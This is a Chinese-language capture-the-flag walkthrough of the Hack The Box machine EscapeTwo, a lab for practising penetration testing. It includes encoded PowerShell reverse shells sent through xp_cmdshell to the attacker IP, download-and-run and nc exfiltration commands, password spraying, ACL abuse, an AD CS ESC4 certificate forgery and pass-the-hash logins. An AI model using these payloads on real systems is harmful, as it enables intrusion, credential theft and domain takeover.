EscaoeTwo
https://app.hackthebox.com/machines/EscapeTwo
受害者ip:10.10.11.51
攻击者ip:10.10.16.22
参考:https://www.hyhforever.top/htb-escapetwo/
https://blind0bandit.gitbook.io/blog/windows-machines/easy/htb-escapetwo#lateral-movement
开局自带的一个用户,rose / KxEPkKe6R8su
端口扫描
修改hosts
| ms-sql-ntlm-info: |10.10.11.51:1433: |Target_Name: SEQUEL |NetBIOS_Domain_Name: SEQUEL |NetBIOS_Computer_Name: DC01 |DNS_Domain_Name: sequel.htb |DNS_Computer_Name: DC01.sequel.htb |DNS_Tree_Name: sequel.htb
echo "10.10.11.51 DC01 sequel.htb DC01.sequel.htb" >> /etc/hosts
tail -n 1 /etc/hosts 查看倒数第一行内容
枚举RID(每个用户和组都有一个唯一的 RID)
另一个·工具·:crackmapexec smb sequel.htb -u "rose" -p "KxEPkKe6R8su" --rid-brute
枚举域内所有用户
netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --users
枚举smb共享目录
netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares
方法2:
smbmap -u rose -p 'KxEPkKe6R8su' -H sequel.htb
方法3:
smbclient -L //10.10.11.51 -U 'rose%KxEPkKe6R8su'
枚举域内计算机
netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares
sequel.htb 是域名,DC01 是域控
下载文件
smbclient //10.10.11.51/"Accounting Department" -U 'rose'
微软的excel打不开这个
根据 file 命令的输出结果,accounts.xlsx 确实是一个符合 .xlsx 文件格式的 ZIP 压缩文件(.xlsx 文件本质上是一个 ZIP 包含 XML 数据)
unzip accounts.xlsx -d accounts_unzipped cd accounts_unzipped cat xl/sharedStrings.xml
| First Name | Last Name | Email| Username | Password| |------------|-----------|---------------------|----------|--------------------| | Angela| Martin| [email protected]| angela| 0fwz7Q4mSpurIt99| | Oscar| Martinez| [email protected]| oscar| 86LxLBMgEWaKUnBG| | Kevin| Malone| [email protected]| kevin| Md9Wlq1E5bZnVDVo| || -| [email protected]| sa| MSSQLP@ssw0rd!|
反弹shell1:
用sa的凭证使用impacket-mssqlclient登录数据库
impacket-mssqlclient 'sa:MSSQLP@ssw0rd!'@10.10.11.51
enable_xp_cmdshell
xp_cmdshell whoami 执行命令
监听端口
执行反弹shell命令
SQL (sadbo@master)> enable_xp_cmdshell INFO(DC01SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install. INFO(DC01SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL (sadbo@master)> xp_cmdshell "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAyACIALAAxADEAMQAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
成功反弹
反弹shell2:
netexec mssql sequel.htb -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAyACIALAAyADIAMgAyACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
反弹shell3:
https://github.com/Adkali/PowerJoker
python3 PowerJoker.py -l 10.10.16.22 -p 4444生成Payload.ps1和payload code,并监听4444端口(运行后可以取消并用nc -lnvp 4444代替) impacket-mssqlclient 'sa:MSSQLP@ssw0rd!'@10.10.11.51 enable_xp_cmdshell 1. 下载生产的Payloadps1,然后执行它 xp_cmdshell powershell -c iwr http://10.10.16.22/Payload.ps1 -o C:programdatashell.ps1 xp_cmdshell powershell -c C:programdatashell.ps1 2. 直接执行code,选一个即可 xp_cmdshell "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAyACIALAAxADEAMQAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==" 输入1进入JokerShell
反弹shell4:
impacket-mssqlclient 'sa:MSSQLP@ssw0rd!'@10.10.11.51 enable_xp_cmdshell nc -lnvp 4444 wget https://github.com/Mayter/mssql-command-tool/releases/download/mssql/mssql-command-tools_Linux_amd64 chmod +x mssql-command-tools_Linux_amd64 ./mssql-command-tools_Linux_amd64 --host 10.10.11.51 -u "sa" -p 'MSSQLP@ssw0rd!' -c "powershell -e base64_code"
登录的用户是mssql,找到mssql配置文件位置
win:C:Program FilesMicrosoft SQL ServerMSSQL{版本号}.MSSQLSERVERMSSQLBinn
linux:/var/opt/mssql/
找到配置文件C:SQL2019ExpressAdv_ENU> type sql-Configuration.INI
获得密码“WqSZAF6CysDQbGb3”
使用nxc进行密码喷洒
netexec winrm sequel.htb -u user.txt -p "WqSZAF6CysDQbGb3"
跑出用户密码,ryan:WqSZAF6CysDQbGb3
如果是首次使用需要安装
apt-get install bloodhound安装Bloodhound neo4j console启动neo4j服务
启动成功后,访问 http://127.0.0.1:7474/browser ,默认的用户名和密码为:neo4j,登录后修改默认密码
数据采集1
将生成的zip文件导入到bloodhound
bloodhound-python -u 'ryan' -p 'WqSZAF6CysDQbGb3' -d sequel.htb -ns 10.10.11.51 -c All --zip
数据采集2
win下载预编译的SharpHound二进制或PS1版本(任选其一)---》运行后将生成的zip通过nc传送到kali---》将zip导入到bloodhound
https://github.com/BloodHoundAD/BloodHound/tree/master/Collectorskali下载好后开启http服务上传到win evil-winrm -i sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3'远程登陆ryan用户 certutil -urlcache -f http://10.10.16.22/bloodhound/SharpHound.exe SharpHound.exe二进制采集工具 SharpHound.exe -c all certutil -urlcache -f http://10.10.16.22/bloodhound/SharpHound.ps1 SharpHound.ps1powershell采集工具 powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all" certutil -urlcache -f http://10.10.16.22/nc.exe nc.exewin下载kali上传的nc nc -lnvp 3333 > bloodhound.zip使用nc监听指定的端口 cmd /c "nc.exe 10.10.16.22 3333 < 20250209175227_BloodHound.zip"从 PowerShell 中直接调用 CMD,并在 CMD 的环境中运行命令,避免 PowerShell 的 < 操作符报错。 或者使用Get-Content替代<Get-Content -Path "20250209175227_BloodHound.zip" -Encoding Byte | ./nc.exe 10.10.16.22 3333这里的 Get-Content 会以二进制(Byte)模式读取文件内容,并通过管道 (|) 将数据传递给 nc.exe
传输成功
列举权限1:Bloodhound
通过 Ryan 用户使用 Bloodhound 进行分析,发现 Ryan 对 CA_SVC 具有 WriteOwner 权限
可以利用 WriteOwner 权限将其所有权改为 Ryan,然后进一步获取对 CA_SVC 的完全控制,最终提升自身权限
WriteOwner 权限的含义 WriteOwner 权限允许你更改对象的所有者,换句话说,你可以把这个对象(CA_SVC 账户)的“所有权”改为某个你控制的用户。 如果你拥有某个账户的所有权,你就可以为这个账户分配更多权限(比如完全控制 GenericAll 或重置密码的 ResetPassword),从而完全接管它
列举权限2:powerview
如果是首次使用需要安装工具powerview
sudo apt install libkrb5-dev pipx install "git+https://github.com/aniqfakhrul/powerview.py" PowerView的常用命令如下: Get-NetDomain 获取当前用户所在域的名称 Get-NetUser 获取所有用户的详细信息 Get-NetDomainController 获取所有域控制器的信息 Get-NetComputer 获取域内所有机器的详细信息 Get-NetPrinter 获取域中所有当前计算机对象的数组 Get-NetOU 获取域内的OU信息 Get-NetGroup 获取所有域内组和组成员的信息 Get-NetGroupMember 获取指定域组中所有当前用户的列表 Get-NetFileServer 根据SPN获取当前域使用的文件服务器信息 Get-NetShare 获取当前域内所有的网络共享信息 Get-DFSshare 获取域上所有分发文件系统共享的列表 Get-NetSubnet 获取域的其他网段 Get-NetSite 获取域内的当前站点 Get-NetDomainTrust 获取当前用户域的所有信任 Get-NetForestTrust 获取与当前用户的域关联的林的所有信任 Find-ForeignUser 枚举在其主域之外的组中的用户 Find-ForeignGroup 枚举域组的所有成员并查找查询域之外的用户 Invoke-MapDomainTrust 尝试构建所有域信任的关系映射 Get-NetLoggedon 获取主动登录到指定服务器的用户 Get-NetLocalGroup 获取一个或多个远程主机上本地组的成员 Get-NetSession 获取指定服务器的会话 Get-NetRDPSession 获取指定服务器的远程连接 Get-NetProcess 获取远程主机的进程 Get-UserEvent 获取指定用户的日志 Get-ADObject 获取活动目录的对象 Get-NetGPO 获取域内所有的组策略对象 Get-NetGPOGroup 获取域中设置”受限组”的所有GPO Find-GPOLocation 获取用户/组,并通过GPO枚举和关联使其具有有效权限的计算机 Find-GPOComputerAdmin 获取计算机并通过GPO枚举确定谁对其具有管理权限 Get-DomainPolicy 获取域默认策略或域控制器策略 Get-DomainSID 返回指定域的SID Invoke-UserHunter 获取域用户登录的计算机信息及该用户是否有本地管理员权限 Invoke-ProcessHunter 通过查询域内所有的机器进程找到特定用户 Invoke-UserEventHunter 根据用户日志查询某域用户登陆过哪些域机器 Invoke-ShareFinder 在本地域中的主机上查找(非标准)共享 Invoke-FileFinder 在本地域中的主机上查找潜在的敏感文件 Find-LocalAdminAccess 在域上查找当前用户具有本地管理员访问权限的计算机 Find-ManagedSecurityGroups 搜索受管理的活动目录安全组并标识对其具有写访问权限的用户,即这些组拥有添加或删除成员的能力 Get-ExploitableSystem 发现系统可能易受常见攻击 Invoke-EnumerateLocalAdmin 枚举域中所有计算机上本地管理员组的成员
获取ryan用户的objectSid
powerview sequel.htb/ryan:'WqSZAF6CysDQbGb3'@10.10.11.51 -q "Get-DomainUser -Identity ryan -Select ObjectSid"
Get-DomainUser:获取域用户的信息。 -Identity ryan:指定查询的用户是 ryan。 -Select ObjectSid:只选择并显示 ObjectSid 字段,精简输出。
S-1-5-21-548670397-972687484-3496335370-1114
S-1-5-21:表示这是一个域用户的 SID。 548670397-972687484-3496335370:这是域的唯一标识符,与域控制器相关。 1114:普通用户的 RID,通常 RID 从 1000 开始递增。500为域管理员账户,512为域管理员组,519为企业管理员组
查询用户ryan的ALC信息,发现存在WriteOwner权限
ActiveDirectoryRights 和 SecurityIdentifier 明确显示,ryan 用户对对象 Certification Authority 拥有 WriteOwner 权限
powerview sequel.htb/ryan:'WqSZAF6CysDQbGb3'@10.10.11.51 -q "Get-DomainObjectAcl -ResolveGUIDs -SecurityIdentifier S-1-5-21-548670397-972687484-3496335370-1114" sequel.htb:目标域名称。 ryan:使用的域用户账户名称。 'WqSZAF6CysDQbGb3':域用户的密码。 10.10.11.51:域控制器或 LDAP 服务的 IP 地址。 -q 指定需要查询的命令,后面跟的是 PowerView 的命令。 Get-DomainObjectAcl 用于获取目标域中所有对象的 ACL(访问控制列表)信息。 ACL 定义了哪些用户或组对某个对象(如用户、组、计算机或域控制器)具有哪些权限。 -ResolveGUIDs 将某些 ACL 中的 GUID 转换为人类可读的值(如权限类型、对象类型等),让信息更清晰。 -SecurityIdentifier S-1-5-21-548670397-972687484-3496335370-1114 过滤条件:只显示 对象 ACL 中包含指定 SID(安全标识符)的条目。
修改ca-svc密码
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
certutil -urlcache -f http://10.10.16.22/PowerView.ps1 PowerView.ps1 . .PowerView.ps1下载并运行 Set-DomainObjectOwner -identity ca_svc -OwnerIdentity ryan将 ca_svc 的对象所有者改为 ryan Add-DomainObjectAcl -TargetIdentity ca_svc -PrincipalIdentity ryan -Rights ResetPassword为 ryan 添加 ResetPassword 权限,确保可以修改 ca_svc 的密码 $cred = ConvertTo-SecureString 'Password123!' -AsPlainText -Force指定的新密码 'Password123!' 被转换为加密形式,准备传递给后续的命令 Set-DomainUserPassword -identity ca_svc -accountpassword $cred向目标账户 ca_svc 设置了新密码
用smbclient检测出密码确实是修改成功了,evil-winrm连不上
修改权限1:
将 ca_svc 的所有权转移给用户 ryan。 powerview sequel.htb/ryan:'WqSZAF6CysDQbGb3'@10.10.11.51 -q "Set-DomainObjectOwner -TargetIdentity ca_svc -PrincipalIdentity ryan" 在 ca_svc的 ACL 中为 ryan 添加完全控制权限 powerview sequel.htb/ryan:'WqSZAF6CysDQbGb3'@10.10.11.51 -q "Add-DomainObjectAcl -TargetIdentity ca_svc -PrincipalIdentity ryan -Rights fullcontrol"
修改权限2:
将 ryan 用户设置为 ca_svc 用户的所有者 bloodyAD --host DC01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan ryan 在 ca_svc 的 ACL 中被赋予了 完全控制权限 impacket-dacledit-action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb'/"ryan":"WqSZAF6CysDQbGb3"-action 'write': 表明操作是对目标对象的 ACL 进行修改。 -rights 'FullControl': 赋予指定主体(ryan)对目标对象(ca_svc)的完全控制权限。 直接在对象的 DACL 上为指定用户添加权限
用certipy-ad获取ca_svc的NT hash ,(如果遇到报错就ntpdate sequel.htb手动更新一下时间,其他报错可能是网络问题)
certipy-ad shadow auto -u '[email protected]' -p 'WqSZAF6CysDQbGb3' -account ca_svc -dc-ip 10.10.11.51
查找可以利用的漏洞,发现存在ESC4
certipy-ad find -u [email protected] -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -stdout -vulnerable -dc-ip 10.10.11.51
find 用来查找目标域的证书服务(CA)配置和可能存在的漏洞。 [email protected] 使用账号 ca_svc 进行身份认证,目标域是 sequel.htb。 -hashes :3b181b914e7a9d5508ea1e20bc2b7fce 通过 NTLM 哈希认证代替密码: : 冒号前为空,表示没有 LM 哈希。 3b181b914e7a9d5508ea1e20bc2b7fce 是 NTLM 哈希。 -stdout 将结果直接显示在终端,而不是保存到文件。 -vulnerable 只显示存在漏洞或安全问题的配置,过滤掉安全的部分。 -dc-ip 10.10.11.51 明确指定目标域控制器的 IP 地址为 10.10.11.51,避免 DNS 问题。
参考:http://nooemotion.com/2023/02/06/%E5%9F%9F%E6%B8%97%E9%80%8F%E7%AC%94%E8%AE%B0-adcs-%E5%9F%9F%E6%8F%90%E6%9D%83-esc4/#ESC4%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%EF%BC%9A
https://www.cnblogs.com/sakura521/p/15489865.html
esc4原理:证书模板是ActiveDirectory中的安全对象,这意味着它们有一个安全描述符,指定哪些ActiveDirectory主体对模板具有特定权限。我们说,如果一个模板有访问控制项(ACE),允许AD主体在模板中编辑敏感的安全设置,那么这个模板在访问控制上就存在配置错误。也就是说,如果攻击者可以访问这些AD主体,他们就可以主动将错误配置推送到一个安全的模板,攻击者可以设置易受攻击的EKU(ESC1-ESC3)、翻转设置(如CTFLAGERINCOLEE SUBERS SUBJECT(ESc1))或删除“颁发要求”(如管理批准或授权签名)ESC4利用条件:对模板有编辑写入权限
漏洞点:ESC4
ESC4 漏洞定义: SEQUEL.HTBCert Publishers 组拥有危险权限,可以直接修改模板的权限控制列表(ACL)和属性。 这意味着,即便攻击者本身不能直接申请证书,通过滥用 Cert Publishers 组的权限,可以: 修改模板的 Enrollment Rights,将低权限用户添加到允许申请证书的名单。 或直接降低模板的安全限制,使得普通用户也能操作。
Enrollment Rights: SEQUEL.HTBDomain Admins这是域管理员组,拥有整个域的高级权限 SEQUEL.HTBEnterprise Admins企业管理员组,通常在多域环境中拥有更高级别的权限(管理整个森林) SEQUEL.HTBAdministrator域内默认的最高权限用户,也就是域的 "根管理员"。 SEQUEL.HTBCert Publishers本身不算高危组,但因为它拥有了“修改证书模板”的权限,导致它成为潜在的攻击突破点。只要你控制了这个组的成员,可能就能间接申请高权限用户的伪造证书。
ca属于cp组,所以可以利用ca修改DunderMifflinAuthentication的权限
查询Cert Publishers组内成员 powershell Get-ADGroupMember -Identity "Cert Publishers" cmd net group "Cert Publishers" /domain
修改了 DunderMifflinAuthentication 模板的配置,使其对该模板拥有更高的控制权,并可能移除了限制。
certipy-ad template -u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.10.11.51
伪造admin的证书
certipy-ad req -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -target DC01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn [email protected] -ns 10.10.11.51 -dns 10.10.11.51 -debug
certipy-ad req:使用 certipy-ad 工具发起证书请求。 -u ca_svc:使用用户名 ca_svc。 -hashes 3b181b914e7a9d5508ea1e20bc2b7fce:指定 NTLM 哈希值。 -ca sequel-DC01-CA:指定证书颁发机构(CA)为 sequel-DC01-CA。 -target DC01.sequel.htb:目标主机为 DC01.sequel.htb。 -dc-ip 10.10.11.51:指定域控制器的 IP 地址为 10.10.11.51。 -template DunderMifflinAuthentication:使用证书模板 DunderMifflinAuthentication。 -upn [email protected]:指定用户主体名称(UPN)为 [email protected]。 -ns 10.10.11.51:指定名称服务器(Name Server)为 10.10.11.51。 -dns 10.10.11.51:指定 DNS 服务器为 10.10.11.51。
导入administrator_10.pfx获得administrator hash
certipy-ad auth -pfx administrator_10.pfx -domain sequel.htb -dc-ip 10.10.11.51 -debug
certipy-ad auth:使用 certipy-ad 工具进行身份验证。 -pfx administrator_10.pfx:指定使用的 PFX 证书文件。 -domain sequel.htb:目标域名。 -dc-ip 10.10.11.51:指定域控制器的 IP 地址。
登录admin,拿到root.txt
evil-winrm -i 10.10.11.51 -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff
impacket-psexec sequel.htb/[email protected] -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff
原文始发于微信公众号(王之暴龙战神):EscaoeTwo
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论